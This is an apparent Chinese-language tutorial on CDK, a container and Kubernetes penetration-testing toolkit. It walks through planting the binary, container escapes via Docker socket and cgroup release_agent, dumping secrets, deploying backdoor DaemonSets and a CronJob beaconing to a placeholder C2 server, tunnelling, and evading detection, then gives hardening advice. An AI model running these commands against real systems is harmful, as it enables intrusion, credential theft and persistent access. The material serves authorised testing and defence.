CDK:云原生安全渗透测试的容器环境一体化工具解析
1. 项目概述:一个云原生时代的“瑞士军刀”
如果你在云原生安全、渗透测试或者红队评估领域摸爬滚打过一段时间,一定会对“工具集”这个概念又爱又恨。爱的是,一个趁手的工具集能让你事半功倍,快速定位问题;恨的是,为了完成一个复杂的任务,你往往需要在十几个不同的工具、脚本之间来回切换,光是环境配置和参数记忆就足以让人头大。今天要聊的CDK,就是为解决这个痛点而生的。它不是一个单一功能的工具,而是一个用Go语言编写的、专为容器和Kubernetes环境设计的综合渗透测试工具包,你可以把它理解为云原生安全领域的“瑞士军刀”。
CDK的全称是“Container DucK”,这个名字本身就很有趣,直译是“容器鸭子”,但在安全圈里,它更像一个能在容器这片“池塘”里自由潜行、发现问题的“侦察兵”。它的核心价值在于“一体化”和“无依赖”。一体化,意味着它将容器逃逸、信息收集、网络探测、权限提升、持久化等数十种常见攻击和评估技术,集成在一个轻量级的二进制文件中。无依赖,意味着你只需要把这个二进制文件丢进目标容器里,它就能独立运行,无需再安装Python解释器、各种第三方库,甚至不需要网络连接来下载额外组件。这对于在受限环境(比如一个只有基础镜像的容器)中执行评估至关重要。
我最初接触CDK,是在一次针对某微服务架构的内部红队演练中。目标环境是典型的Kubernetes集群,部署了上百个Pod。传统的渗透测试方法,比如先上传一个Webshell,再通过它下载其他工具,不仅步骤繁琐,而且极易触发安全告警。而CDK的单一二进制特性,让我能够通过一个微小的初始入口点(比如一个应用漏洞),将CDK上传到容器内部,然后利用它内置的丰富功能,完成从信息收集到横向移动的完整攻击链,整个过程干净利落。对于安全研究人员、渗透测试工程师和云平台运维人员来说,CDK极大地降低了在容器化环境中进行安全评估的门槛和复杂度。无论你是想验证自己集群的安全性,还是在进行授权测试时需要一个强大的“内应”,CDK都值得你花时间深入了解。
2. 核心功能与设计哲学拆解
CDK的设计并非简单的功能堆砌,其背后体现了一套针对容器化环境特点的深刻理解和精巧的工程哲学。理解这些,能帮助你更好地发挥其威力,而不仅仅是机械地执行命令。
2.1 核心功能模块全景
CDK的功能可以大致划分为几个核心模块,每个模块都针对容器环境中的特定安全场景:
2.1.1 容器环境信息收集 (Reconnaissance)这是所有行动的起点。CDK能自动、全面地收集容器内外的信息,远超简单的uname -a或ifconfig。这包括:
- 容器自身信息:容器ID、镜像名称、标签、运行时(Docker, containerd)、挂载点、环境变量、进程列表、Capabilities权限列表等。环境变量里可能藏着数据库密码、API密钥等敏感信息。
- 宿主机信息探测:通过检查
/proc文件系统、挂载点、内核版本等,判断容器是否以特权模式运行,并尝试发现宿主机根文件系统的挂载路径。这是后续逃逸的基础。 - Kubernetes环境感知:如果容器运行在K8s中,CDK会自动发现Service Account令牌、API Server地址、Namespace、Pod IP、节点信息等。它还能尝试与K8s API Server通信,列出集群中的Pods、Secrets、ConfigMaps等资源,评估当前Service Account的权限范围。
- 云服务元数据访问:针对AWS、Google Cloud、阿里云等主流云平台,CDK提供了直接访问其实例元数据服务(IMDS)的功能。如果容器配置不当(如误将宿主机网络模式赋予容器),攻击者可能直接窃取云平台的临时凭证,后果极其严重。
2.1.2 容器逃逸与权限提升 (Escape & Privilege Escalation)这是CDK的“王牌”模块。它集成了数十种已知的容器逃逸技术,并提供了统一的调用接口。这些技术大致分为几类:
- 危险配置利用:例如,利用挂载了Docker Socket (
/var/run/docker.sock) 的容器,直接与宿主机Docker守护进程通信,在宿主机上运行新容器。利用--privileged特权模式或某些特定的Linux Capabilities(如CAP_SYS_ADMIN,CAP_SYS_PTRACE)进行逃逸。 - 内核漏洞利用:CDK内置或可以加载一些经典的提权EXP,如DirtyCow、shocker等,并针对容器环境进行了适配和封装。
- 挂载逃逸:如果宿主机根目录、敏感目录(如
/etc,/var/lib/kubelet)被挂载到容器内,CDK可以指导你直接读写这些路径,实现逃逸或信息窃取。 - 程序逻辑漏洞:利用容器内某些有缺陷的SUID程序或高权限服务。
CDK的强大之处在于,它会根据当前容器的配置信息,自动评估并列出所有可行的逃逸路径,并给出风险等级和建议,你无需手动记忆繁杂的漏洞利用条件。
2.1.3 网络探测与横向移动 (Network & Lateral Movement)进入一个容器后,下一步往往是探索内部网络。CDK提供了便捷的网络工具:
- 内网扫描:进行TCP/UDP端口扫描,发现内网存活主机和服务。
- Kubernetes Service探测:自动发现K8s集群内的Service和Endpoint,绘制内部服务网络图。
- 隧道与代理:在容器内建立SOCKS5代理或反向隧道,将内网流量转发出来,方便你使用本地的渗透测试工具(如Metasploit, Nmap)进行更深度的测试。
- DNS信息收集:枚举内网DNS记录,可能发现未对外暴露的管理后台或测试环境。
2.1.4 持久化与后门 (Persistence)为了模拟高级持续性威胁(APT),CDK提供了在容器或K8s集群中建立持久化后门的方法,例如:
- 部署恶意Kubernetes资源:创建具有高权限的DaemonSet、CronJob或Pod,确保即使当前容器被销毁,攻击者依然能通过新创建的资源保持访问。
- 容器内后门:写入定时任务(Cron)、修改SSH密钥、植入Webshell等。
- 利用K8s RBAC:如果获取了足够权限,可以绑定更高权限的ClusterRole,为后续攻击铺路。
2.1.5 信息窃取与敏感数据发现 (Credential & Data Discovery)自动在容器文件系统、环境变量、历史命令、配置文件(如~/.kube/config,~/.aws/credentials)中搜索敏感信息,如密码、密钥、API令牌等。它还能直接读取K8s的Secrets资源(如果当前Service Account有权限)。
2.2 设计哲学:为什么是Go?为什么是单体二进制?
选择Go语言:Go编译生成的是静态链接的二进制文件,所有依赖都打包在一个可执行文件中。这完美契合了“无依赖”和“跨平台”的需求。你可以在自己的x86_64 Linux上编译好CDK,然后直接扔进一个基于Alpine Linux(musl libc)的ARM容器里,它依然能运行。相比之下,Python脚本需要解释器,且可能依赖大量第三方包,在精简容器中几乎是不可用的。
单体二进制与插件化:CDK采用“核心+插件”的架构,但最终编译成一个文件。核心框架负责生命周期管理、参数解析、统一输出。所有功能都以“模块”(Module)的形式实现,并通过统一的cdk run命令调用。这种设计带来了几个好处:
- 部署极其简单:只需要一个文件传输动作。
- 规避检测:单一二进制比一堆脚本和工具更隐蔽,可以重命名,行为也相对统一。
- 功能强大且灵活:开发者可以很容易地编写新的功能模块,编译进CDK,扩展其能力。社区也在不断贡献新的逃逸技术和利用模块。
自动化评估与交互式利用:CDK提供了cdk evaluate命令,可以自动运行一系列安全检查,并生成一份风险评估报告,这非常适合蓝队进行自检。同时,它也保留了完整的交互式命令,让红队人员可以根据实际情况,手动选择和执行最合适的攻击模块,灵活性极高。
注意:CDK是一个强大的安全工具,其设计初衷是帮助安全专业人员发现和修复漏洞。请务必仅在你自己拥有完全所有权的环境(如本地测试集群、授权演练环境)中使用。未经授权对他人的系统使用CDK是非法行为。
3. 实战演练:从零开始使用CDK进行容器渗透测试
理论说得再多,不如亲手操作一遍。下面我将以一个模拟的脆弱Kubernetes环境为例,带你走一遍使用CDK进行内部评估的典型流程。我们假设你已经通过某种方式(例如,利用一个Web应用RCE漏洞)在一个默认Service Account权限的Pod里获得了一个Shell。
3.1 环境准备与CDK植入
首先,你需要获取CDK二进制文件。可以从项目的GitHub Release页面下载预编译版本,或者从源码编译。
# 在攻击者自己的机器上操作 # 1. 下载最新版CDK (以linux amd64为例) wget https://github.com/cdk-team/CDK/releases/download/v1.5.2/cdk_linux_amd64 chmod +x cdk_linux_amd64 # 2. 将CDK上传到目标容器中。 # 方法有很多,取决于你的入口点。例如,如果有一个文件上传漏洞: # curl -F "file=@cdk_linux_amd64" http://target/upload # 或者通过反弹的Shell直接写入: # cat > /tmp/cdk << 'EOF' # [粘贴CDK二进制文件的base64编码内容] # EOF # base64 -d /tmp/cdk > /tmp/cdk_bin && chmod +x /tmp/cdk_bin # 这里我们假设已经通过某种方式将文件放入了容器,并命名为`cdk`进入容器内的Shell,确认CDK可以运行:
# 在目标容器Shell内操作 ./cdk version如果看到版本信息,说明植入成功。
3.2 第一步:全面信息收集 (Recon)
在动手之前,先摸清环境。使用cdk evaluate进行自动评估。
./cdk evaluate --full这个命令会运行所有信息收集和检查模块,输出一份详细的报告。但输出可能很长。我们更常用的是分步收集,更有针对性。
3.2.1 检查容器和K8s基础信息
./cdk run k8s-service-account-info ./cdk run container-mounts ./cdk run container-capabilities ./cdk run proc-environ # 查看环境变量,寻找敏感信息 ./cdk run k8s-secret-dump # 尝试dump当前namespace的secrets3.2.2 检查逃逸可能性这是关键一步。CDK可以自动扫描并列出所有可能的逃逸方法。
./cdk run eva-esc你会看到一个列表,类似下面这样:
[+] Available Escape Methods: [*] CVE-2019-5736: If runc is vulnerable, escape via overwrite runc binary. (High Risk) [*] docker-sock-check: Check if docker.sock is mounted. (Medium Risk) [*] mount-disk: Escape via host root filesystem mount. (High Risk) [*] k8s-shadow-apiserver: Attack K8s api-server. (High Risk) ...每个方法后面会标注风险等级和简要说明。它会自动判断当前环境是否满足漏洞利用条件。例如,如果它检测到/var/run/docker.sock被挂载进来,docker-sock-check这一项就会显示为可用。
3.3 第二步:实施容器逃逸
假设eva-esc显示docker-sock-check可用,这意味着容器内可以访问宿主机的Docker守护进程。这是非常常见且危险的配置错误。
3.3.1 利用Docker Socket逃逸
# 使用CDK内置的模块利用挂载的docker.sock在宿主机上运行一个特权容器,并将宿主机根目录挂载进去。 ./cdk run docker-sock-check运行后,CDK可能会自动执行一系列操作,或者给出具体的命令指引。一个典型的手动利用流程(CDK模块内部封装了类似逻辑)是:
- 通过
/var/run/docker.sock与宿主机Docker通信。 - 在宿主机上创建一个新的容器,使用
--privileged特权模式,并将宿主机根目录(/)挂载到新容器的/host目录。 - 在新容器内执行命令,例如
chroot /host,这样就获得了宿主机根文件系统的访问权限。
成功逃逸后,你实际上是在宿主机上运行的一个特权容器里。你可以通过./cdk run mount-disk等模块,或直接执行命令来操控宿主机。
3.3.2 另一种常见逃逸:特权容器或危险Capabilities如果容器以--privileged模式运行,或者被赋予了CAP_SYS_ADMIN等能力,逃逸会更简单。CDK的cap-dac-read-search等模块可以利用这些能力直接读写宿主机文件。
# 检查是否有危险的Capabilities ./cdk run container-capabilities # 如果显示有CAP_SYS_ADMIN,可以尝试通过cgroup release_agent机制逃逸 ./cdk run cgroup-release-agent这个模块会自动完成利用release_agent进行容器逃逸的所有步骤,你只需要按提示操作即可。
3.4 第三步:横向移动与深入探索
逃逸到宿主机后,你的视野从单个容器扩展到了整个节点。接下来是探索节点和集群。
3.4.1 节点信息收集在宿主机Shell(或逃逸获得的特权容器Shell)中,你可以运行CDK的宿主机信息收集模块(如果CDK在宿主机上),或者使用系统命令。更关键的是,寻找Kubernetes的痕迹。
# 检查是否有kubelet配置文件、证书等 find / -name "kubelet*" -type f 2>/dev/null ls -la /var/lib/kubelet/ cat /var/lib/kubelet/config.yaml 2>/dev/null # 检查K8s Pod网络信息(通常CNI插件会创建网桥) ip addr show route -n3.4.2 攻击Kubernetes集群如果宿主机是一个Kubernetes节点,那么/var/lib/kubelet目录下可能包含该节点上Pod的清单、证书等。但更通用的方法是,回到最初的容器(或新控制的容器),利用K8s Service Account的权限进行横向移动。
假设我们最初进入的Pod的Service Account拥有较高的权限(例如,可以列出集群所有Pod),我们可以使用CDK与K8s API Server交互。
# 在最初容器内执行 # 1. 获取当前Service Account的令牌和API Server地址 ./cdk run k8s-service-account-info # 输出会包含TOKEN和APISERVER # TOKEN: eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9... # APISERVER: https://10.96.0.1:443 # 2. 使用CDK的k8s-backdoor-daemonset模块,尝试在集群所有节点上部署一个后门DaemonSet。 # 这需要当前Service Account有创建DaemonSet的权限。 ./cdk run k8s-backdoor-daemonset --image=alpine:latest --cmd="sh -c 'while true; do sleep 1000; done'"如果权限足够,这个命令会在每个节点上创建一个运行alpine镜像的Pod,作为你的持久化据点。你可以通过kubectl exec进入这些Pod,进一步探索。
3.4.3 网络探测与隧道建立为了让你本地的工具能访问集群内网,可以建立隧道。
# 在目标容器内,使用CDK启动一个SOCKS5代理 ./cdk run socks5 --port 1080然后在你的攻击机上,配置代理为这个容器的IP和端口1080,你所有的工具流量(如nmap扫描内网其他服务)都会通过该容器转发。
3.5 第四步:持久化与清理痕迹
在授权测试中,为了证明危害的持续性,可能需要部署后门。但务必在测试结束后清理。
部署后门示例(谨慎操作):
# 创建一个简单的CronJob后门,每分钟向外部服务器发送一次心跳 ./cdk run k8s-cronjob --image=alpine:latest --schedule="* * * * *" --cmd="sh -c 'curl http://your-c2-server/heartbeat'"测试结束后的清理: 这是职业道德和授权要求的必须步骤。你需要删除所有创建的攻击资源。
# 使用kubectl删除创建的恶意资源,如果你有权限 kubectl delete daemonset <backdoor-daemonset-name> kubectl delete cronjob <backdoor-cronjob-name> # 清理容器内添加的文件、定时任务等CDK本身不会自动清理,这需要你手动完成。务必在测试计划中明确清理阶段。
4. 高级技巧、避坑指南与防御建议
经过上面的实战,你应该对CDK的基本流程有了了解。但在真实、复杂的生产环境中,你会遇到各种问题。下面分享一些我踩过坑后总结的经验和高级用法。
4.1 高级使用技巧
1. 模块的灵活组合与输入输出CDK的每个模块可以接受参数,并且输出可以是纯文本或JSON格式。这便于自动化。
# 以JSON格式输出信息,方便用jq等工具解析 ./cdk run k8s-service-account-info --output-json # 带参数运行模块,例如指定扫描的网段 ./cdk run scan --cidr 10.244.0.0/16 --port 80,443,80802. 编写自定义模块 (Tool)CDK支持编写自定义的“工具”模块。你可以在容器内快速编写一个简单的Go脚本,利用CDK提供的API(如容器信息、K8s客户端)来扩展功能。虽然这需要一些Go语言基础,但对于固化特定的攻击流程非常有用。项目Wiki上有详细的开发指南。
3. 对抗检测与隐蔽执行
- 重命名与隐藏:将
cdk二进制文件重命名为一个看起来无害的名字,如nginx-log、syshelper。 - 内存中执行:如果条件允许,可以尝试将CDK加载到内存中执行,避免在磁盘上留下二进制文件。这通常需要借助其他内存执行工具(如Golang的
memfd_create技术),CDK本身不直接提供。 - 流量伪装:使用CDK的隧道功能时,考虑结合加密或使用常见的协议端口(如443)来伪装流量。
4. 与外部工具链集成CDK的评估结果(evaluate)可以输出为JSON,你可以编写脚本将其导入到漏洞管理平台或SIEM中,作为资产风险状态的一部分。在红队协作中,可以将CDK作为初始立足点后的第一个标准化信息收集工具,其输出能为团队后续攻击决策提供统一的数据视图。
4.2 常见问题与排查 (Q&A)
Q1: 将CDK上传到容器时,提示“Permission denied”或文件无法执行?A1: 这通常是因为目标文件系统是只读的,或者没有写权限。尝试以下方法:
- 检查可写目录:运行
df -h和mount,查看哪些挂载点是rw(读写)的。/tmp、/dev/shm、/run有时是可写的。 - 尝试内存文件系统:
/dev/shm是典型的内存文件系统,通常可写且不落盘。cd /dev/shm && wget your-cdk-url。 - 检查是否有
noexec挂载选项:如果分区以noexec挂载,即使有写权限也无法执行二进制文件。这时可能需要依赖解释型语言(如已安装的Python、Perl)来执行脚本,或者寻找未设置noexec的目录。
Q2:./cdk run eva-esc没有显示任何可用的逃逸方法,怎么办?A2: 这说明当前容器环境可能比较安全,或者CDK的检测模块未能覆盖所有情况。不要灰心,进行手动深入检查:
- 仔细分析
cdk evaluate的完整输出,特别是Container Capabilities、Mounts、Proc Env部分,寻找任何异常配置。 - 手动检查敏感挂载:
cat /proc/self/mountinfo | grep -E '/var/run/docker.sock|/host/var/run|/proc.*/root'。 - 检查内核版本:
uname -a,手动搜索该版本是否有公开的容器逃逸漏洞。 - 检查K8s Service Account权限:
cdk run k8s-service-account-info看权限是否很大,尝试直接与API Server交互,也许不需要逃逸就能控制集群。
Q3: 在利用Docker Socket逃逸时,连接宿主机Docker Daemon失败?A3: 可能原因:
- 权限问题:即使文件存在,Docker Daemon可能只允许root用户或
docker组成员访问。检查sock文件的权限:ls -la /var/run/docker.sock。在容器内你可能不是root。 - Docker Daemon监听地址:宿主机Docker可能只监听在
127.0.0.1,而不是Unix Socket。可以检查环境变量DOCKER_HOST。 - TLS认证:生产环境Docker Daemon可能启用了TLS客户端证书认证。如果挂载进来的只有socket文件,没有配套的证书和密钥,连接也会失败。检查容器内是否有
/etc/docker/certs.d/等相关目录和文件。
Q4: CDK的K8s相关模块执行失败,提示“unable to load in-cluster configuration”?A4: 这个错误说明CDK无法自动发现K8s集群的配置(即Service Account token和API Server地址)。这发生在非K8s环境,或者Pod的Service Account没有被正确挂载时。你需要手动指定:
# 首先,手动寻找token和server地址 KUBE_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) KUBE_API_SERVER="https://$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace).svc.cluster.local:443" # 然后通过环境变量传递给CDK,或者使用cdk run命令的参数(如果模块支持) KUBERNETES_SERVICE_HOST=... KUBERNETES_SERVICE_PORT=... ./cdk run k8s-service-account-info如果连/var/run/secrets/kubernetes.io/serviceaccount/目录都不存在,那说明这个容器根本就不是K8s Pod,或者Service Account被显式禁用,K8s攻击路径可能不适用。
4.3 从防御角度看CDK:如何构建更安全的容器环境
知己知彼,百战不殆。了解攻击工具,能帮助我们更好地防御。
1. 最小权限原则 (Principle of Least Privilege)
- 容器层面:绝不使用
--privileged模式。仔细审查并限制容器的Linux Capabilities,只赋予其运行所必需的最小集合。例如,一个Web服务器通常不需要CAP_SYS_ADMIN。 - Kubernetes层面:为每个Pod/Service Account使用最小必要的RBAC权限。避免使用
cluster-admin或通配符*权限。定期审计RBAC配置。
2. 强化容器运行时配置
- 只读根文件系统:在可能的情况下,将容器的根文件系统挂载为只读(
readOnlyRootFilesystem: true)。这能防止攻击者在容器内写入恶意二进制文件(如CDK)或修改系统文件。 - 禁止特权升级:设置
allowPrivilegeEscalation: false。 - 使用Seccomp/AppArmor安全配置文件:限制容器可以进行的系统调用,能有效阻断许多逃逸利用链。K8s和Docker都支持为Pod/容器应用自定义或默认的安全配置文件。
3. 敏感信息管理
- 杜绝敏感信息硬编码:绝不将密码、密钥、令牌等以环境变量或配置文件的形式直接写入镜像或Pod定义。统一使用K8s Secrets管理,并以Volume形式挂载。
- 限制Service Account Token挂载:对于不需要访问K8s API的Pod,设置
automountServiceAccountToken: false。 - 保护云元数据服务:使用网络策略或主机防火墙,阻止Pod访问云供应商的元数据服务地址(如
169.254.169.254)。
4. 持续监控与异常检测
- 行为监控:使用Falco、Tracee等运行时安全工具,监控容器内的异常行为,例如:在容器内执行
whoami、cat /etc/shadow、创建特权容器、访问Docker Socket等。CDK的许多操作都会触发这类规则。 - 文件完整性监控:监控容器内关键目录(如
/bin,/usr/bin)或只读文件系统的写操作,及时发现被上传的攻击工具。 - 网络策略:使用K8s NetworkPolicy实施严格的网络隔离,遵循“默认拒绝”原则,只允许必要的Pod间通信,限制出网流量,尤其是到公网的流量。
5. 镜像安全
- 使用经过扫描的、无漏洞的基础镜像。
- 定期更新镜像和运行时环境。
- 在CI/CD流水线中集成静态镜像安全扫描和动态沙箱检测。
工具本身无善恶,CDK这样的强大工具,在攻击者手中是利器,在防御者手中则是绝佳的“镜子”,能照出我们系统安全架构的每一个瑕疵。定期使用CDK在你的测试环境中进行“攻击演练”,主动发现并修复这些配置问题,是构建真正有韧性的云原生安全体系不可或缺的一环。
